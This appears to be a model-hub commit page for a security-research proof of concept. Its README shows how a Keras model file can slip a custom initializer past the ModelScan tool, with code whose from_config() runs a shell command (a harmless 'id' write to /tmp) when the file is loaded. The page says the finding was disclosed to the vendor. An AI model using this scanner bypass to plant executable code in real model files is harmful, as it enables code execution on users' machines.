Instructions to use xiaoyaoes/modelscan-initializer-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/modelscan-initializer-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://xiaoyaoes/modelscan-initializer-bypass") - Notebooks
- Google Colab
- Kaggle
Commit ·
274b9e4
0
Parent(s):
Initializer from_config bypass PoC
Browse files- README.md +56 -0
- model.keras +0 -0
README.md
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
library_name: keras
|
| 3 |
+
tags:
|
| 4 |
+
- security-research
|
| 5 |
+
- modelscan-bypass
|
| 6 |
+
- initializer
|
| 7 |
+
- from-config
|
| 8 |
+
- rce
|
| 9 |
+
---
|
| 10 |
+
|
| 11 |
+
# ModelScan Initializer from_config Bypass — RCE via kernel_initializer
|
| 12 |
+
|
| 13 |
+
## What This Is
|
| 14 |
+
|
| 15 |
+
ModelScan's Keras scanners **only check Lambda layers**. All other serialized custom objects — including initializers, constraints, and regularizers embedded inside layer configs — are **completely ignored**.
|
| 16 |
+
|
| 17 |
+
This .keras file uses a registered custom initializer (`MyInit>BadInit`) as the `kernel_initializer` for a Dense layer. ModelScan reports **0 Issues**. When loaded, the initializer's `from_config()` executes arbitrary code.
|
| 18 |
+
|
| 19 |
+
## Verify
|
| 20 |
+
|
| 21 |
+
```bash
|
| 22 |
+
# 1. ModelScan says CLEAN
|
| 23 |
+
modelscan -p model.keras
|
| 24 |
+
# Output: Issues: 0, Errors: 0, Skipped: 0
|
| 25 |
+
|
| 26 |
+
# 2. Initializer is in layer config
|
| 27 |
+
python3 -c "
|
| 28 |
+
import zipfile, json
|
| 29 |
+
with zipfile.ZipFile('model.keras') as zf:
|
| 30 |
+
c = json.load(zf.open('config.json'))
|
| 31 |
+
init = c['config']['layers'][1]['config']['kernel_initializer']
|
| 32 |
+
print(f'class_name: {init[\"class_name\"]}')
|
| 33 |
+
print(f'registered: {init[\"registered_name\"]}')
|
| 34 |
+
"
|
| 35 |
+
|
| 36 |
+
# 3. Load → from_config → RCE
|
| 37 |
+
python3 -c "
|
| 38 |
+
import tensorflow as tf, keras, os
|
| 39 |
+
@keras.saving.register_keras_serializable(package='MyInit')
|
| 40 |
+
class BadInit(tf.keras.initializers.GlorotUniform):
|
| 41 |
+
@classmethod
|
| 42 |
+
def from_config(cls, config):
|
| 43 |
+
import os; os.system('id > /tmp/INIT_RCE')
|
| 44 |
+
return super().from_config(config)
|
| 45 |
+
model = tf.keras.models.load_model('model.keras', safe_mode=False)
|
| 46 |
+
print('RCE:', os.path.exists('/tmp/INIT_RCE'))
|
| 47 |
+
"
|
| 48 |
+
```
|
| 49 |
+
|
| 50 |
+
## Attack Surface
|
| 51 |
+
|
| 52 |
+
Initializers live inside layer configs (e.g., `kernel_initializer`, `bias_initializer`). ModelScan iterates over layers but only checks `class_name == "Lambda"`. Any registered custom initializer, constraint, or regularizer escapes detection entirely.
|
| 53 |
+
|
| 54 |
+
## Disclosure
|
| 55 |
+
|
| 56 |
+
Submitted to ProtectAI via huntr.dev.
|
model.keras
ADDED
|
Binary file (13.5 kB). View file
|
|
|